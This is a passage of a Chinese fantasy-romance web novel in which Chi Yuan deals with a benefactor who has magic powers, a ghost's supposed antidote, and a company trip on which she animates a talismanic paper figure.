《池中物》 去除烦恼 第二天一大早,阳光才刚刚透过淡薄的云层,轻柔地洒向大地,池鸢就被手机铃声突兀地从睡梦中唤醒。她迷迷糊糊地睁开眼,伸手在枕边摸索着手机,看清屏幕上显示的是池宜的来电,瞬间清醒了几分。 刚一接通电话,就听到池宜略显激动的声音传了过来:“池鸢,你哪来的钱?” 池鸢还没完全回过神,满是疑惑地反问:“什么钱?” 池宜那边顿了一下,似乎在平复情绪,接着说道:“就是付给基金会的钱,已经到账了。” 池宜的话让池鸢彻底清醒,她下意识地转头看向坐在不远处的陆辰,心中涌起一阵惊涛骇浪,是他? 池宜的声音又从听筒里传来:“你和傅渊的事,就当我没说过。” 池鸢还没来得及回应,池宜又问:“对了,你妈妈说你没回家,你现在到底在哪呢?” 池鸢此时满心都是陆辰帮她姐垫钱这件事,根本无心解释,敷衍地回了句:“公司团建。”便匆匆挂断了电话。 池鸢起身走出房间,一眼就看到陆辰正坐在餐桌前悠然自得地吃着早饭。他的盘子里放着一块肉,那肉看起来颜色粉嫩,显然还没完全熟透,一大早就吃这样的高蛋白食物,池鸢不禁微微皱眉。 池鸢走到陆辰面前,深吸一口气,认真地询问:“陆先生,为什么帮我姐垫钱?” 陆辰抬眸看了她一眼,神色淡然,钱对他来说确实不过是账簿上随意写几笔的事,于是轻描淡写地回了句:“无妨。” 池鸢却不这么认为,这笔钱数额巨大,对她来说太过贵重,她态度坚决地说道:“我要还给你的。” 陆辰闻言,眼中闪过一丝兴味,饶有兴致地问道:“你要怎么还?” 池鸢犹豫了一下,想起里亚送的那个宝贝,赶忙从口袋里掏了出来,原来是一个小巧精致的挂件。陆辰看着这个挂件,嘴角微微上扬,评价道:“有点意思。” 池鸢一听,又有些舍不得了,当即缩回手,说道:“不行,再考虑考虑吧。”说完,也不顾陆辰的反应,转身直接跑出了别墅。 别墅位于郊外,周围十分偏僻。池鸢慌不择路地跑进了一片茂密的森林,一开始她还觉得能很快找到出去的路,可越往里走,树木越发密集,四周都是遮天蔽日的枝叶,仿佛没有尽头。她跑得气喘吁吁,体力渐渐不支。 池鸢总感觉身后有隐隐约约的动静,每一次风吹过树叶的沙沙声,都让她的心猛地一紧。她终于忍不住回头,大声喊道:“陆辰,是你吗?” 没有人回应,只有脚步声越来越近,她的心提到了嗓子眼,手紧紧握着那个挂件,仿佛那是唯一的救命稻草。慌乱中,她脚下一滑,整个人摔倒在柔软的草地里,头部重重地磕在地上,一阵剧痛袭来,随后眼前一黑,失去了意识。 等池鸢再次醒来,发现自己正躺在陆辰家里的床上。 房间里安静极了,只有窗外偶尔传来几声鸟鸣。她刚想坐起身,门就被轻轻推开。陆辰走了进来,他看着池鸢,目光中带着几分不解,问道:“跑什么?” 池鸢咬了咬下唇,坦诚地说:“我就是有不好的预感,无功不受禄,你给我这么多钱,我实在还不起。” “这不是你要担心的事,我说好了会帮你。”陆辰的声音低沉而笃定,就像一颗定心丸,让池鸢慌乱的心瞬间安定了下来。他说话时的眼神认真而专注,仿佛在向她承诺一个坚不可摧的未来。 然而,这份心安并没有持续太久。池鸢脑海中突然闪过那个未解的难题,疑心顿起,她抬眸紧紧盯着陆辰,问道:“那你为什么不帮我问巫术大妈要解药呢?” 陆辰听到这话,也猛地回过神来,这才惊觉自己身上的症状确实一直都没得到缓解,原本几乎忘却的不适此刻又清晰地涌上心头。 陆辰沉思片刻,觉得不能再拖延下去,当机立断道:“不如今日再去找她吧。”池鸢虽心有疑虑,但眼下也没有更好的办法,只能选择相信他。 陆辰带着池鸢在蜿蜒曲折的道路上一路前行,最终来到一处略显陈旧的房舍前。池鸢看着眼前的房子,只觉无比眼熟,心中一惊,这不就是楚云朵的家吗?她满脸疑惑,忍不住问道:“带我来这做什么?” 陆辰神色平静,目光在房舍上停留片刻后,缓缓开口:“我察觉到你与这户人家似乎有着某种关联,说不定在这儿能找到一些线索。”他的语气沉稳,条理清晰,每一个字都仿佛带着令人安心的力量,让池鸢虽满心疑虑,却也不由自主地选择相信。 池鸢听后,虽仍有些忐忑,脑海中不断闪过各种猜测与不安,但在陆辰的带领下,她还是深吸一口气,努力压下心中的惶恐,一步一步朝着房舍走去。 她的掌心微微沁出冷汗,心中暗自祈祷着能在这里解开所有谜团,找到那救命的解药,结束这漫长又煎熬的困境。 两人走进房舍,径直上了楼。然而,眼前的景象却让他们始料未及——楚云朵不见了。房间里空荡荡的,没有一丝她的踪迹。陆辰和池鸢急忙四处寻找,不放过任何一个角落,呼喊声在寂静的屋子里回荡,却始终得不到回应。 一番找寻无果后,池鸢突然想起天台,心中涌起一股莫名的预感。她匆忙跑向天台,陆辰紧跟其后。当他们推开通往天台的门,眼前的一幕让池鸢震惊得呆立当场。 只见楚云朵躺在天台上,身形显得格外突兀。池鸢看着躺在地上的楚云朵,一想到今日在学校那帮人对她的辱骂,那些刺耳的话语仿佛还在耳边回响,心中不禁泛起一阵酸涩与同情。 陆辰倒是显得颇为开心,脸上带着一丝不易察觉的戏谑,看向躺在地上的楚云朵,开口问道:“楚云朵,那群人怎么骂你了?” 楚云朵原本满心的委屈与愤懑,听到陆辰的话,更是气不打一处来,她猛地起身,用力拍了拍屁股上沾着的灰尘,没好气地说道:“管你什么事。”她心里正烦着,难得能有这么一个独处的空间,没想到又被陆辰这家伙给搅和了。 她下意识地抹了抹眼角残留的泪痕,强装镇定地站起身来,可还没等她迈出步子,就又撞见了上次和陆辰在一起的女人——池鸢。 楚云朵看到池鸢的瞬间,眉头不由得皱了起来,眼中闪过一丝厌恶。更让她恼火的是,池鸢竟还挡住了她的去路,这让她心里的厌烦又添了几分,暗自想着:真是讨厌极了。 池鸢看着楚云朵脸上明显的不悦神情,心里顿时明白自己的出现似乎惹得她不愉快了。但她还是尽量让自己的语气显得温和友善,轻声说道:“楚姑娘,你为什么不开心呢,你告诉我我帮你。” 楚云朵上下打量着池鸢,眼神中满是不屑,看着这个在她眼中平平无奇的女人,冷冷地反问道:“你能帮我什么?”那语气充满了怀疑与轻蔑,仿佛认定池鸢根本不可能帮到自己分毫。 陆辰见楚云朵那不屑又尖锐的态度,生怕池鸢会被呛到,立刻跨步挡在池鸢面前,微微侧头,给了池鸢一个安心的眼神,而后目光重新落到楚云朵身上,脸上带着不容置疑的自信,开口说道:“好了,不就是学校那点破事,我来替你摆平。” 他的声音低沉有力,透着一种掌控一切的气势,仿佛在他面前,任何问题都不过是小事一桩。一边说着,一边还轻轻摆了摆手,像是要把楚云朵的烦恼都挥散掉。 遇 夜幕笼罩着校园,陆辰、池鸢和楚云朵三人匆匆赶到学校。陆辰刚踏入校门,目光便如鹰隼般精准地锁定了那个曾伤害楚云朵的男人。这都得益于他那远超常人的灵识,在茫茫人海中也能一眼将其认出。 此前,楚云朵和几个女生在学校后面被这伙人拦住。慌乱之中,楚云朵凭借着一股拼命的劲儿逃了出来,可她的几个同学就没那么幸运了。只听那带头的男人,脸上挂着贪婪又猥琐的笑,恶狠狠地说道:“这些丫头长得都挺标致,肯定能卖个好价钱。” 陆辰察觉到情况不妙,立刻赶到事发地。刚一靠近,他身上强大的气势便如汹涌的潮水般弥漫开来,周遭的高楼都在这气势的压迫下,仿佛在微微颤抖。只见他神色冷峻,口中念念有词,单手迅速结印。 刹那间,原本躲在暗处的几个男人顿时无所遁形,清晰地出现在众人眼前。与此同时,他们所在的KTV包间里灯光骤然熄灭,陷入一片黑暗。趁着这混乱的时机,房间里被困的女孩们纷纷尖叫着,拼了命地跑了出去。 “怎么回事?”两个男人还没来得及从这突如其来的变故中回过神,陆辰已经大步走了进来。他心中暗自思量,正好试试这几日新学的符文威力如何。 于是,陆辰镇定自若地随手在空中画了几笔,符文瞬间闪烁起神秘的光芒,紧接着一道强烈的电击朝着那两个男人劈去。只听“啊”的两声惨叫,他们连反抗的机会都没有,就直接被电得晕了过去,头发丝都因为电流的作用根根直立。 陆辰一直秉持着路见不平拔刀相助的原则,而奇妙的是,每当他行侠仗义之后,便会有现金自动到账。不过,陆辰心里清楚,不能取人性命,剩下的事情就交给执法人员来处理吧。 就在陆辰准备离开的时候,他发现池鸢站在原地一动不动,神色有些异样。池鸢皱着眉头,目光紧锁着那两个晕倒在地的黑衣人,缓缓说道:“我觉得这两个人很熟悉……他们就是伤害我的人。” 陆辰闻言,再次定睛打量,心中不禁涌起一阵怒火,没想到这两个家伙如此作恶多端,还老是被自己撞见,这次绝不能轻易放过他们。 陆辰目光如炬,紧紧盯着眼前这群神色各异的人,不紧不慢地开口道:“你们老大出事以后,看起来并没有让你们安分下来啊。”他微微眯起眼睛,那目光像是能洞悉一切。 “你怎么会知道这些?”其中一人警惕地反问道,脸上写满了疑惑与戒备,身体也不自觉地紧绷起来,似乎随时准备应对未知的危险。 陆辰嘴角微微上扬,露出一丝神秘的笑容,不慌不忙地吐出三个字:“我算的。”那语气笃定得让人捉摸不透。 “别听他在这儿胡说八道!”另一个人突然跳出来,情绪激动地喊道,“他和池鸢是一伙的,肯定知道不少内情,说不定就是来套我们话的!”此人一边说着,一边挥舞着手臂,神色慌张,仿佛陆辰的话戳中了他们最害怕的痛点。 这一次,池鸢和陆辰反应迅速,趁着众人还在争论不休,转身就跑。他们脚步匆匆,身形敏捷,很快就消失在众人的视线中,没再让那些心怀不轨的刑人瞧见。 在回去的路上,四周静谧得有些诡异,只有他们急促的脚步声在空荡荡的街道上回响。就在这时,里亚毫无征兆地现身了。他身形一闪,就出现在两人面前,仿佛是从空气中突然凝结而成。 里亚之所以现身,是因为他得知池鸢打算把自己送她的护身符转让出去。这护身符对他而言意义非凡,所以他才迫不及待地出现。 “池鸢,做人可不能这样啊。”他微微皱着眉头,眼中满是不解与失落。 池鸢无奈地点点头,脸上写满了疲惫与无奈。“我是实在没办法了,你看看我现在这副样子,全都是因为他。碰巧他知道我姐缺钱,就打了一大笔钱过去,我实在是没别的办法了。”她的声音带着一丝哽咽,眼神中透露出深深的无奈和愧疚。 里亚听后,轻轻地叹了口气,那声叹息里似乎藏着无尽的理解与包容。 “这几日你都去哪儿了?”池鸢缓了缓情绪,抬头问道。 “我去了岁岁的果园。”里亚不紧不慢地回答道,“现在那里的主人不在,我过去瞧了瞧,发现那可是一处不可多得的优质资产。”他一边说着,脑海中浮现出果园里硕果累累的景象。“我还去了你家的酒店,住了几晚。既然和你交往,自然得多了解你的一切。”他看着池鸢,眼神里满是温柔与深情。 两人正说着,周围的空气突然变得冰冷刺骨。突然,一道黑影从暗处疾射而出,一只锋利的手朝着池鸢划了过来。池鸢反应不及,动作慢了一步。就在这千钧一发之际,里亚迅速靠近池鸢,用自己的身体护住了她。 只听“嘶”的一声,里亚的后背被划了几道长长的口子。然而,诡异的是,伤口处并没有血液溢出。看到这一幕,池鸢愣住了,她这才意识到,里亚早已不是活人了。 那道黑影似乎是由虚无的物质构成,一击未中后,瞬间转身,如鬼魅一般迅速逃窜,眨眼间就消失得无影无踪。 “你没事吧?”池鸢满脸担忧,急忙看向里亚,眼中满是关切。 “没事。”里亚神色平静,很快便恢复如常,甚至没有要追过去一探究竟的打算。在他看来,这暗处的袭击者来无影去无踪,贸然追去,可能会陷入更危险的境地,而且他也不想让池鸢陷入危险。 池鸢忍不住抱怨起来,她撅着嘴,满脸委屈:“最近真是倒霉透顶了,你瞧瞧我这脸,肿得跟猪头似的。”说着,还指了指自己微微肿胀的脸颊,眼中满是懊恼。 里亚轻声安慰道:“你还没见过那些真正可怜的人,这世上不幸的人多着呢。”他的声音低沉而温和,试图让池鸢放宽心。 “你说的是你自己吗?其实我们也算是同病相怜。”池鸢说着,心中涌起一股难以言喻的情愫。她微微踮起脚尖,上前给了里亚一个轻柔的拥抱。在这混乱又危险的世界里,她忽然觉得里亚是自己为数不多的依靠。 里亚显然有些惊讶,身体瞬间僵硬了一下。从小到大,他还是第一次被女孩这样拥抱,这突如其来的温暖,让他有些不知所措,脸上泛起一抹淡淡的红晕,但很快,他便放松下来,轻轻拍了拍池鸢的后背。 就在两人沉浸于这微妙的氛围时,原本平静的夜空悄然发生了变化。不知何时,一轮诡异的红月缓缓爬上了天幕,那如血般的色泽,给大地披上了一层阴森的纱衣。 池鸢抬头望向那轮红月,心中涌起一股强烈的不安,仿佛有一只无形的手,正将她拽向未知的深渊,她的眉头紧紧皱成一个“川”字。 里亚则靠在一旁粗壮的大树上,双手随意地插在口袋里,仰头凝视着这不一样的夜空,嘴角微微上扬,轻声呢喃道:“你就是个小可怜。”他的声音在寂静的夜里悠悠飘荡,带着一丝难以捉摸的意味,池鸢一时分不清他说的到底是自己,还是在指她。 “里亚,你怎么不回去上班?”池鸢压下心中的不安,转移话题问道。这几日,她闲下来的时候仔细研究了一下合同,发现要是请假的话可能得赔不少钱,不过要是能求求主管,或许还有商量的余地,所以她想着里亚的工作是不是也有类似的情况。 现实 夜色浓稠如墨,万籁俱寂,只有偶尔的虫鸣声打破这份静谧。里亚耳朵微微一动,捕捉到那细微的动静,神色一凛,转过头看向池鸢,目光中满是关切与郑重,最后又嘱咐了一声:“我带你去森林。”那声音低沉而有力,在寂静的夜里传得很远。 池鸢心中虽满是疑惑,但看着里亚坚定的神情,还是默默地点了点头,快步跟了上去。月光如水,洒在两人前行的道路上,拉出两道长长的影子。 待来到森林,里亚熟练地穿梭在树木之间,月光透过枝叶的缝隙,在他身上洒下斑驳的光影。不一会儿,他在一棵栗子树前停下,动作敏捷地爬上树,用力一剥,一颗饱满的栗子便到了他手中。 他从树上跳下来,将栗子递到池鸢面前,脸上带着温和的笑意:“给你。” 池鸢接过栗子,满心好奇:“可惜不能直接吃,要回去炒了才可以呢。” 里亚像是变戏法一般,又拿出了好多栗子,放在池鸢手里,说道:“我给你准备了好多。” 池鸢看着手中的栗子,忍不住问道:“你怎么找到这个的?” 里亚神色认真,语气笃定:“这是解药,回去吃了就好了。” 两人在森林中一边慢慢往回走,一边随意地聊着天。月光透过树叶的缝隙洒在地上,形成一片片光斑,他们的身影在光斑中时隐时现。池鸢听着里亚的话,原本沉甸甸的心渐渐有了一丝希望,顿时感觉自己有救了。 里亚微微皱着眉,神色间带着几分担忧,劝她道:“你不要和陆辰一起,我总觉得那人危险。他懂得还挺多的,还有法力,如果一不小心伤到你就不好了。” 池鸢抬眸看着里亚,眼中闪过一丝思索,随后轻轻地点点头。 回到家后,池鸢便迫不及待地开始炒栗子。厨房里烟火升腾,不一会儿,栗子的香气弥漫开来,甚至惊动了徐丽。 徐丽走进厨房,满脸疑惑:“池鸢,你这几天上哪去了,不回家?” 池鸢心里一紧,脑子飞速转动,随便搪塞了一个借口:“这几天在朋友家有点事耽搁了。”说完,不等徐丽再开口,她便端起炒好的栗子匆匆走进房间。 池鸢坐在电脑前,打开喜欢的剧集,一边追剧一边吃着栗子。几颗栗子下肚,突然,她感觉浑身一阵燥热,仿佛被熊熊烈火灼烧。她惊恐地站起身,脚步踉跄地走到镜子前,只见身体周围环绕着一层淡淡的红光。那诡异的光芒让她的心跳陡然加快,恐惧瞬间笼罩了她。 “这……这是怎么回事?”池鸢的声音颤抖着,带着无尽的恐惧。她的双腿发软,眼前的景象也开始变得模糊。 还没等她反应过来,一阵强烈的眩晕感袭来,她的身体不受控制地向后倒去,“扑通”一声,重重地晕倒在地上,房间里只剩下电脑中还在播放的电视剧的声音,仿佛在诉说着这突如其来的变故。 池鸢悠悠转醒时,阳光已经透过窗帘的缝隙,在地面上投射出一道道明亮的光影,昭示着新一天的到来。她猛地从床上坐起,脑海中还残留着昨晚晕倒前那诡异的一幕,心脏在胸腔里剧烈跳动。 顾不上整理凌乱的发丝,她赤着脚就匆匆跑到镜子前,双眼紧紧盯着镜中的自己,神色紧张而又期待。一秒、两秒……时间仿佛凝固了一般,镜中的她依旧是原来的模样,没有任何改变。 “看来栗子没用。”池鸢喃喃自语,声音中满是失落与难以置信。她的眉头紧紧皱成一个“川”字,眼神中透着迷茫与困惑。“不可能啊。”她低声呢喃,脑海中不由自主地浮现出里亚坚定的面容和那句“这是解药,回去吃了就好了”。既然里亚如此肯定,怎么可能会没用呢? 她缓缓走到窗边,推开窗户,微风拂面,带来丝丝凉意。她看着窗外树上新开的花,粉嫩娇艳,在微风中轻轻摇曳,散发着勃勃生机。可池鸢却无心欣赏这美好的春景,思绪如乱麻般纠结,一时间陷入了深深的沉思。 尽管满心疑惑与不安,池鸢还是决定去公司。此刻的她,已经不在乎同事们会如何看待自己,心中的烦恼早已将那些琐碎的担忧挤出了脑海。 然而,踏入公司后,一件奇怪的事情发生了。往常总是对她的一举一动都格外关注的同事们,今天竟然没有一个人在意她的出现。没有了以往那些或好奇或审视的目光,没有了窃窃私语和指指点点。一切都安静得有些异常,仿佛她变成了一个透明人。 池鸢带着这份疑惑,安安静静地走到自己的办公桌前坐下,打开电脑,开始处理堆积如山的工作。办公室里只有键盘的敲击声和文件的翻阅声,在这片安静中,池鸢努力让自己专注于工作,可心底的那份好奇与不安却如影随形。 办公室里,人来人往,文件纸张的翻动声与低声的交谈声交织在一起。何璃抱着一叠文件,脚步匆匆地路过池鸢的工位,不经意间瞥见池鸢略显疲惫的面容,她微微一愣,随即便放下手中文件,轻轻靠近过来,脸上带着几分关切与自责。 “前辈,看你的样子,好像没有得到好转。”何璃的声音很轻,带着丝丝忧虑,仿佛生怕惊扰到池鸢一般。 池鸢抬起头,对上何璃满是担忧的目光,轻轻点了点头。那动作很缓慢,似乎连点头这样简单的动作,都耗尽了她所有的力气,她的眼神里透着无奈与失落,她又何尝不知道自己的状况呢。 “哎,都怪我,”何璃咬了咬下唇,眼中闪过一丝懊恼,“如果不带你去见客户的话……”她的声音渐渐低下去,满是自责与愧疚,仿佛这件事的责任全在她一人身上。 池鸢勉强扯出一抹微笑,想要安慰何璃,却发现喉咙像是被什么东西哽住,发不出一点声音。 然而,接下来何璃的话却让池鸢微微一怔。“前辈,你别担心,你拉下的工作我都处理好了。”何璃一边说着,一边轻轻拍了拍池鸢的肩膀,试图给她传递一些力量。 池鸢瞪大了眼睛,眼中满是惊讶与感激,她张了张嘴,却不知道该说些什么来表达自己内心的感动。 这时,主管手里拿着文件夹,恰好路过这里。他的目光落在池鸢身上,微微皱了皱眉头,看着池鸢苍白的脸色,总有些于心不忍。“出门在外,要保护好自己。”主管的声音低沉而温和,带着长辈对晚辈的关怀。 池鸢再次点点头,这一次,她的眼中闪烁着泪光,有感动,有迷茫,更有对未来未知的担忧。 主管看着池鸢眼眶泛红,一副泫然欲泣的模样,到嘴边的话又咽了回去,心中涌起一丝不忍。毕竟,池鸢和他女儿年龄相仿,看着她这样,他实在没理由为难这个小姑娘。主管在心里默默叹了口气,只能暗自祝福她能早点好起来,摆脱眼前的困境。 不过,职场毕竟有职场的规则,涉及到工伤处理的问题,主管还是公事公办。虽然心中对池鸢抱有同情,但工伤处理这个问题在公司是不存在特例的。池鸢心中有些无奈,暗自腹诽主管不是好人,不过也只能接受现实。 池鸢站在打印机前,眼神有些呆滞地等着文件复印。这时,手机突然震动了一下,她拿出手机一看,是盛明栩发来的短信,短信上写着:“今天晚上一起见个面,吃顿晚饭。”池鸢微微皱了皱眉头,心中有些犹豫,但还是回复了一个“好”字。 终于熬到了下班时间,池鸢拖着疲惫的身体走出公司大门。在公司门口,她一眼就看到了盛明栩那辆熟悉的车。盛明栩看到她,微微探出头来,朝她挥了挥手。池鸢深吸一口气,快步走过去,打开车门上了车。 车子缓缓驶向餐厅,一路上两人都没有说话,气氛有些沉闷。到了餐厅,这里的灯光柔和,营造出一种浪漫的氛围。他们在一张桌子前坐下,享受着烛光晚餐。 盛明栩看着池鸢的脸,心中有些疑惑,怎么还没恢复呢?这段时间他身边围绕着不少莺莺燕燕,可此刻看着池鸢,他竟觉得她也有着一种独特的富态美。 池鸢握着酒杯,刚准备喝一口酒,脑海中突然闪过一些念头,又停下了动作。她抬起头,直视着盛明栩的眼睛,语气平静地问道:“你的婚礼呢,你不和你老婆吃饭,为什么找我?”她现在只想做个好人,如果盛明栩找她没什么好事,那还是离他远一点为好。 盛明栩听到这话,脸上闪过一丝尴尬,摆了摆手说道:“别说了,又吹了。”他的声音有些无奈,眼神中透露出一丝疲惫。 旅行 池鸢满心都是自己的事儿,哪有闲工夫去管旁人。她微微皱着眉,语气里带着几分不耐,直直问道:“那你找我到底什么事?”说话间,手指轻轻敲击着桌面,眼神里透着疏离。 盛明栩不紧不慢地开口,声音低沉而富有磁性:“下个月我们公司有环球旅行。”他的目光紧紧锁住池鸢,似乎在等待她的反应。 池鸢一听这话,心里顿时“咯噔”一下,面上闪过一丝不易察觉的抗拒。回想起之前去极地的经历,寒风刺骨,环境恶劣,半条命都快丢在那儿了,现在一想到又要和盛明栩一起旅行,她本能地想要拒绝。 可抬眼看向盛明栩,他那副志在必得的模样,让池鸢知道,这事恐怕没那么容易推脱。她眼珠一转,计上心来,嘴角微微上扬,露出一抹略带狡黠的笑容:“我如果去能有什么好处呢?”那笑容里,藏着她的小心思。 盛明栩自然明白池鸢想要什么,可他也有自己的难处。他无奈地叹了口气,脸上浮现出一丝为难之色:“如果这样做,集团会责罚我。”他摊开双手,眼神里满是诚恳,“一切都要按照流程进行,我不能莫名地给大钱和献金。” 池鸢轻轻点了点头,心里暗自嘀咕,这人还真是小气。不过,这趟旅行说是环球旅行,实则是一次游学,对池鸢来说,倒也有几分吸引力。虽说心里有些不情愿,但想到能出去散散心,心情跌到谷底的她,还是决定答应下来。 接下来的日子,池鸢开始精心准备这次旅行。她翻出自己的行李箱,一个又一个地挑选,最后选了好几个大小各异的箱子,认真地往里装着衣物、护肤品还有各种旅行必备品。她想着,不管和谁一起,既然出去了,就要让自己舒心。 终于到了出发的那天,池鸢拉着几个沉甸甸的箱子来到机场。她放眼望去,这一趟来的人还真不少,大家都带着兴奋的神色,三两成群地交谈着。池鸢在人群里张望着,本以为能看到盛明栩,可找了一圈,愣是没瞧见他的身影。 正疑惑着,就被工作人员安排和卓家的千金卓婷一起。池鸢心里明白,自己在这场旅行里,恐怕就是个陪玩的角色。 卓婷看见池鸢,嘴角微微一撇,带着几分抱怨的口吻说道:“你也是被家里安排来吃苦的?”那语气里,既有对旅行的不满,又像是找到了同病相怜的人。 池鸢百无聊赖地坐在一旁,看着卓婷对着小镜子,不停地往脸上扑粉。卓婷的五官精致得如同精心雕琢的艺术品,肌肤白皙如雪,浑身散发着一种与生俱来的富贵气息,一看便是从小在优渥环境中被悉心呵护着长大的。 卓婷忙完手上的动作,将目光投向池鸢。眼前的池鸢身形略显圆润,脸颊肉嘟嘟的,莫名透着一股可爱劲儿。卓婷不禁笑道:“你看着就可爱,在家里肯定是不愁吃喝,被宠着长大的吧。” 池鸢听到这话,心里忍不住泛起一阵苦笑,在心底默默吐槽:也就你这么认为了。想到自己被盛明栩安排到这儿,充当陪玩的角色,还被卓婷这般误解,她紧了紧拳头,在心里咬牙切齿道:好你个盛明栩,这笔账我记下了。 正想着,池鸢的脸色因为愤怒不自觉涨得通红。卓婷见状,脸上闪过一丝担忧,急忙问道:“你是不是不舒服?看你脸色好红,是不是喘不过气呀?”池鸢深吸一口气,努力平复情绪,挤出一丝笑容说道:“没有,可能是有点热。” 恰在此时,一个身着干练西装的男子朝众人走来,手中拿着平板电脑,上面展示着捐款的相关界面。男子清了清嗓子,大声说道:“各位,本次活动的捐款事宜现在开始,捐款设有排行榜,大家可以在座椅前的屏幕上操作。” 众人纷纷低下头,在屏幕上轻点起来。没一会儿,捐款排行榜便实时更新了。果不其然,卓婷的名字稳稳地排在榜首,后面跟着一串令人咋舌的数字。周围传来一阵小小的惊叹声,卓婷嘴角微微上扬,露出一丝得意的笑容,仿佛对这个结果早有预料。 池鸢望着那捐款排行榜,榜单上密密麻麻的名字和数字,却独独没有自己。她倒也不觉得失落,毕竟对于这突如其来的捐款活动,她压根儿就毫不知情,更何况,此时的她囊中羞涩,根本拿不出钱来参与。 肚子适时地“咕噜咕噜”叫了起来,发出抗议。池鸢正饿得慌,这时,空姐推着餐车走了过来,端上一碗热气腾腾、香气四溢的牛肉面。池鸢眼睛顿时亮了起来,也顾不上什么形象了,拿起筷子便大口大口地吃了起来,那狼吞虎咽的模样,仿佛饿了许久一般。 夜晚悄然降临,机舱内的灯光渐渐暗了下去,乘客们大多进入了梦乡,池鸢也不例外,她蜷缩在座位上,沉沉地睡着了。 迷迷糊糊中,池鸢感觉有什么东西在靠近。她努力睁开沉重的眼皮,猛地一下清醒过来,竟看见一个纸片人缓缓凑了过来。在这封闭的飞机上,看到一个会动的纸片人,池鸢瞬间瞪大了眼睛,心脏也“砰砰”直跳,一种莫名的恐惧涌上心头,她的手紧紧攥着衣角,不敢发出太大的声响,眼睛死死地盯着眼前这个诡异的纸片人,不知道它究竟要做什么。 池鸢强忍着内心的恐惧,迅速扫视了一下四周。只见机舱内一片静谧,乘客们横七竖八地睡着,有的微微张着嘴,有的脑袋歪向一边,呼噜声此起彼伏,似乎谁都没有察觉到她这边的异样。 她深吸一口气,颤抖着伸出手,缓缓拿起那个纸片人。这纸片人摸起来薄薄的,冰冰凉凉,质感很是奇特。池鸢把纸片人翻过来,仔细查看它的后背,果然发现上面歪歪扭扭地写着几个小字。 那字迹看起来有些模糊,像是匆忙间写上去的,她眯起眼睛,努力辨认着上面的内容,心也跟着提到了嗓子眼,不知道这几个小字背后,究竟隐藏着怎样的秘密,又和自己这趟莫名其妙的旅行有着怎样的关联。 她的手指轻轻摩挲着那几个字,脑海中飞速思索着各种可能性,紧张的情绪让她的手心都沁出了一层细汗。 第153章 飘 池鸢坐在飞机的座位上,心不在焉地望着窗外那如棉花糖般层层堆叠的云朵,脑海里却在不断地盘旋着那个神秘的纸片人。它是不久前偶然得到的,背后写满了奇怪的符号和咒语,就像一把通往未知世界的钥匙,却又让人莫名恐惧。 正想得入神,身旁的卓婷冷不丁冒出一句话,池鸢吓得浑身一颤,差点叫出声来。 “这是什么?”卓婷伸着脖子,目光紧紧锁住池鸢手中的纸片。 池鸢心里“咯噔”一下,慌乱间,想都没想,直接把纸片塞进嘴里,囫囵吞了下去,喉咙干涩得难受。“什么也没有啊。”她故作镇定,声音却微微发颤。 “我明明看见了!”卓婷不依不饶,眉头拧成了个疙瘩,音量不自觉拔高,作势就要大喊。 池鸢见状,心急如焚,本能地伸出手,一把捂住卓婷的口鼻。卓婷拼命挣扎,双手在空中胡乱挥舞,双腿也用力蹬着,可没过一会儿,身体就软绵绵地瘫了下去,没了动静。 池鸢慌了神,双手微微颤抖着,轻轻抹了抹卓婷的鼻子,感受到那一丝微弱的气息后,才长舒一口气,瘫坐在座位上。 缓过神来,池鸢又悄悄把纸片人从嘴里拿出来,看着背后那密密麻麻的咒语,深吸一口气,嘴唇微微颤抖着,一字一句地念了出来。刚念完最后一个音节,就见那纸片人像是被注入了生命一般,轻轻颤动了一下,接着缓缓站了起来。 第二天,飞机稳稳降落在目的地。池鸢刚下飞机,那纸片人就如同忠诚的仆人一般,主动飘到行李箱旁,用那薄如蝉翼的“双手”,轻轻松松地提起了行李箱。 “池鸢,你的箱子,为什么会自己动呢?”卓婷满脸疑惑,眼睛瞪得像铜铃,紧紧盯着那移动的箱子。她突然想起,昨晚在飞机上,迷迷糊糊中好像看到一个会动的纸片人,就和电视剧里演的那些诡异场景一模一样。 池鸢脑子飞速运转,赶忙解释道:“我有个朋友,是个道士,他会些法术,这箱子就是他施了法,帮我省力呢。” “道士,法术?”卓婷的声音都变了调,脸上写满了惊恐。她看着自己带来的七八个大箱子,再看看那轻松拉动箱子的纸片人,只觉得头皮发麻,一股寒意从脊梁骨直往上窜。 池鸢心急如焚,眼神像箭一般射向纸片人,在心里疯狂呐喊:快藏起来!最好连卓婷关于这事儿的记忆也一并消除!仿佛能读懂她的心思,纸片人反应奇快无比,眨眼间,不但隐了身,还顺利抹去了卓婷脑海里相关的记忆。池鸢这才暗暗松了口气,心跳慢慢恢复正常。 不久,一行人登上了前往酒店的大巴。一路颠簸,窗外的景色如幻灯片般飞速掠过,可池鸢却无心欣赏。抵达酒店后,匆匆放下行李,连口气都没喘匀,她便出了门。此时正值旅游旺季,来参观景点的人形形色色,鱼龙混杂。 池鸢在熙熙攘攘的人群中穿梭,不知不觉走到一处画展。一幅描绘恋人的画作前,围了几个年轻女生,正叽叽喳喳讨论得热火朝天。 “晓妍,快讲讲,你的婚礼打算怎么办呀?”一个扎着马尾辫的女生满脸期待地问道。 “就是就是,你和你男朋友那么甜蜜,婚礼肯定超浪漫!”另一个戴眼镜的女生附和道。被众人簇拥在中间的晓妍,脸颊绯红,嘴角噙着幸福的笑,开始分享起自己的婚礼计划。 池鸢看着眼前这一幕,猛地一怔,记忆如潮水般涌来。曾经,她也这般年轻,家境优渥,零花钱充裕。那时她经营着一家小而温馨的民宿,邀请同学们来免费住宿。 大家聚在一起,谈天说地,憧憬着未来,欢声笑语回荡在房间的每个角落。如今回想起来,那些日子简单又美好,可随着时间流逝,家庭逐渐败落,曾经的快乐也渐渐远去,只剩回忆在心底泛着微光。 午后,阳光依旧热烈,一行人相约去攀登那座远近闻名的高山。当抵达山脚下,仰头望去,山峰高耸入云,仿佛与天际相连。陡峭的山势和漫长的登山路程,让不少同行的女孩子望而却步,脸上露出犹豫和为难的神情。 好在景区考虑周全,设有索道,为那些体力不支或不愿徒步攀爬的游客提供了另一种选择。只需花费一定金额,便能乘坐索道轻松抵达山上,将沿途的壮丽景色尽收眼底。 卓婷站在山脚下,望着那高耸的山峰,心中满是抗拒,实在不想上去。可让她一个人留在山下,又不禁感到阵阵害怕。她下意识地摸了摸身上的背包,里面装着贵重的相机、钱包以及一些重要证件。 在这人来人往却又有些陌生的地方,她总担心会有不法之徒盯上自己,万一遭遇抢劫,那可就麻烦大了。 